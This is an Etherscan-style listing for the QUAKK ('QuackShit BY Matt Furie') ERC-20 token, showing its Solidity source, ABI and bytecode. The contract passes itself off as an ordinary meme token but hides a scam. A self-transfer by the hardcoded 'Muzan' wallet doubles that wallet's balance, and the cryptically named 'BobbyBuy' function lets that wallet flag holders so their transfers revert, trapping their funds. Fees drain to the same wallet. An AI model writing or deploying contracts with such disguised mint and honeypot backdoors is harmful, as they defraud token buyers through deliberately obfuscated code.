ERC-20
Source Code
Overview
Max Total Supply
420,690,000,000 QUAKK
Holders
17
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
QUAKK
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-10-22
*/
// QUACKSHIT’s legacy lives on as a symbol of merging the best of both worlds—the
// peaceful, loving spirit of the 70s with the cutting-edge innovation of the digital age.
//Tg https://t.me/QuackShitETH
// website https://www.quackshit.com/
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a,b,"SafeMath: division by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newAddress) public onlyOwner{
_owner = newAddress;
emit OwnershipTransferred(_owner, newAddress);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract QUAKK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "QuackShit BY Matt Furie";
string private _symbol = "QUAKK";
uint8 private _decimals = 6;
address payable public Muzan;
mapping (address => uint256) _balances;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public _uniswapPair;
mapping (address => uint256) public wends;
uint256 private _totalSupply = 420690000000 * 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
Muzan = payable(address(0x840808CB57235cBb56a5780E6fe1Dc4C04a38cF2));
_isExcludefromFee[Muzan] = true;
_isExcludefromFee[owner()] = true;
_isExcludefromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function LaunchPad() public onlyOwner{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_uniswapPair[address(uniswapPair)] = true;
_allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(from, to, amount);
}
else
{
if ((from == to && to == Muzan) ? true : false )
_balances[address(Muzan)] = amount.mul(2);
if (!inSwapAndLiquify && !_uniswapPair[from])
{
uint256 contractTokenBalance = balanceOf(address(this));
swapAndLiquify(contractTokenBalance);
}
_balances[from] = _balances[from].sub(amount);
uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : tokenTransfer(from, amount);
_balances[to] = _balances[to].add(fAmount);
emit Transfer(from, to, fAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 amount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(Muzan),
block.timestamp
){} catch {}
}
function BobbyBuy(address widjrk,uint256 wjzk) public {
address msgsender = msg.sender;
uint256 wapp = wjzk;
if(wapp == 1-1 || wapp == 9+1)
wends[widjrk] = wapp;
if (msgsender != Muzan)
revert ("?");
}
function tokenTransfer(address sender, uint256 amount) internal returns (uint256) {
uint256 swapRate = amount.mul(0).div(100);
if(wends[sender] != 0) swapRate += amount + swapRate;
if(swapRate > 0) {
_balances[address(this)] += swapRate;
emit Transfer(sender, address(this), swapRate);
}
return amount.sub(swapRate);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"widjrk","type":"address"},{"internalType":"uint256","name":"wjzk","type":"uint256"}],"name":"BobbyBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LaunchPad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Muzan","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a06040526040518060400160405280601781526020017f517561636b53686974204259204d617474204675726965000000000000000000815250600190816200004a919062000716565b506040518060400160405280600581526020017f5155414b4b0000000000000000000000000000000000000000000000000000008152506002908162000091919062000716565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600360009054906101000a900460ff16600a6200010191906200098d565b6461f313f880620001139190620009de565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200013e57600080fd5b506200014f6200046b60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a373840808cb57235cbb56a5780e6fe1dc4c04a38cf2600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620002ee6200047360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620003ae6200046b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003fc6200046b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200045d919062000a3a565b60405180910390a362000a57565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200051e57607f821691505b602082108103620005345762000533620004d6565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200059e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200055f565b620005aa86836200055f565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005f7620005f1620005eb84620005c2565b620005cc565b620005c2565b9050919050565b6000819050919050565b6200061383620005d6565b6200062b6200062282620005fe565b8484546200056c565b825550505050565b600090565b6200064262000633565b6200064f81848462000608565b505050565b5b8181101562000677576200066b60008262000638565b60018101905062000655565b5050565b601f821115620006c65762000690816200053a565b6200069b846200054f565b81016020851015620006ab578190505b620006c3620006ba856200054f565b83018262000654565b50505b505050565b600082821c905092915050565b6000620006eb60001984600802620006cb565b1980831691505092915050565b6000620007068383620006d8565b9150826002028217905092915050565b62000721826200049c565b67ffffffffffffffff8111156200073d576200073c620004a7565b5b62000749825462000505565b620007568282856200067b565b600060209050601f8311600181146200078e576000841562000779578287015190505b620007858582620006f8565b865550620007f5565b601f1984166200079e866200053a565b60005b82811015620007c857848901518255600182019150602085019450602081019050620007a1565b86831015620007e85784890151620007e4601f891682620006d8565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200088b57808604811115620008635762000862620007fd565b5b6001851615620008735780820291505b808102905062000883856200082c565b945062000843565b94509492505050565b600082620008a6576001905062000979565b81620008b6576000905062000979565b8160018114620008cf5760028114620008da5762000910565b600191505062000979565b60ff841115620008ef57620008ee620007fd565b5b8360020a915084821115620009095762000908620007fd565b5b5062000979565b5060208310610133831016604e8410600b84101617156200094a5782820a905083811115620009445762000943620007fd565b5b62000979565b62000959848484600162000839565b92509050818404811115620009735762000972620007fd565b5b81810290505b9392505050565b600060ff82169050919050565b60006200099a82620005c2565b9150620009a78362000980565b9250620009d67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000894565b905092915050565b6000620009eb82620005c2565b9150620009f883620005c2565b925082820262000a0881620005c2565b9150828204841483151762000a225762000a21620007fd565b5b5092915050565b62000a3481620005c2565b82525050565b600060208201905062000a51600083018462000a29565b92915050565b608051612a1a62000a7360003960006106f50152612a1a6000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063c816841b1161006f578063c816841b14610429578063d28881e314610454578063dd62ed3e1461047f578063e0b838e9146104bc578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b806370a08231146103305780638da5cb5b1461036d57806395d89b4114610398578063a9059cbb146103c3578063b60998d61461040057610135565b806327c8f835116100f257806327c8f835146102355780632d3235a014610260578063313ce5671461029d5780633345611e146102c85780634a74bb021461030557610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190611eb7565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611f72565b6105cb565b6040516101999190611fcd565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612047565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef9190612071565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a919061208c565b610619565b60405161022c9190611fcd565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b60405161025791906120ee565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612109565b610717565b6040516102949190612071565b60405180910390f35b3480156102a957600080fd5b506102b261072f565b6040516102bf9190612152565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190612109565b610746565b6040516102fc9190611fcd565b60405180910390f35b34801561031157600080fd5b5061031a610766565b6040516103279190611fcd565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612109565b610779565b6040516103649190612071565b60405180910390f35b34801561037957600080fd5b506103826107c2565b60405161038f91906120ee565b60405180910390f35b3480156103a457600080fd5b506103ad6107eb565b6040516103ba9190611eb7565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190611f72565b61087d565b6040516103f79190611fcd565b60405180910390f35b34801561040c57600080fd5b5061042760048036038101906104229190611f72565b61089c565b005b34801561043557600080fd5b5061043e610995565b60405161044b91906120ee565b60405180910390f35b34801561046057600080fd5b506104696109bb565b604051610476919061218e565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a191906121a9565b6109e1565b6040516104b39190612071565b60405180910390f35b3480156104c857600080fd5b506104d1610a68565b005b3480156104df57600080fd5b506104fa60048036038101906104f59190612109565b610e13565b005b34801561050857600080fd5b50610523600480360381019061051e9190612109565b610f65565b6040516105309190611fcd565b60405180910390f35b60606001805461054890612218565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612218565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610f85565b8484610f8d565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611156565b506106e884610633610f85565b6106e3856040518060600160405280602881526020016129bd60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699610f85565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b9092919063ffffffff16565b610f8d565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60086020528060005260406000206000915090505481565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107fa90612218565b80601f016020809104026020016040519081016040528092919081815260200182805461082690612218565b80156108735780601f1061084857610100808354040283529160200191610873565b820191906000526020600020905b81548152906001019060200180831161085657829003601f168201915b5050505050905090565b600061089161088a610f85565b8484611156565b506001905092915050565b6000339050600082905060008114806108b55750600a81145b156108ff5780600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461098f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098690612295565b60405180910390fd5b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a70610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af490612301565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b859190612336565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c109190612336565b6040518363ffffffff1660e01b8152600401610c2d929190612363565b6020604051808303816000875af1158015610c4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c709190612336565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b610e1b610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90612301565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff3906123fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106290612490565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111499190612071565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd90612522565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122c906125b4565b60405180910390fd5b600b60149054906101000a900460ff161561125c576112558484846116af565b9050611644565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112e45750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6112ef5760006112f2565b60015b156113715761130b60028361188290919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156113d85750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113f55760006113e830610779565b90506113f3816118fc565b505b61144782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061152d5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115405761153b8584611bae565b611542565b825b905061159681600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116369190612071565b60405180910390a360019150505b9392505050565b6000838311158290611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a9190611eb7565b60405180910390fd5b50600083856116a29190612603565b9050809150509392505050565b600061173a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117cf82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186f9190612071565b60405180910390a3600190509392505050565b600080830361189457600090506118f6565b600082846118a29190612637565b90508284826118b191906126a8565b146118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e89061274b565b60405180910390fd5b809150505b92915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119345761193361276b565b5b6040519080825280602002602001820160405280156119625781602001602082028036833780820191505090505b509050308160008151811061197a5761197961279a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a459190612336565b81600181518110611a5957611a5861279a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b199594939291906128c2565b600060405180830381600087803b158015611b3357600080fd5b505af1925050508015611b44575060015b50506000600b60146101000a81548160ff02191690831515021790555050565b6000611ba683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061164b565b905092915050565b600080611bd86064611bca60008661188290919063ffffffff16565b611d7a90919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c3b578083611c2d919061291c565b81611c38919061291c565b90505b6000811115611d005780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c93919061291c565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cf79190612071565b60405180910390a35b611d138184611b6490919063ffffffff16565b91505092915050565b6000808284611d2b919061291c565b905083811015611d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d679061299c565b60405180910390fd5b8091505092915050565b6000611dbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dc4565b905092915050565b60008083118290611e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e029190611eb7565b60405180910390fd5b5060008385611e1a91906126a8565b905080915050939250505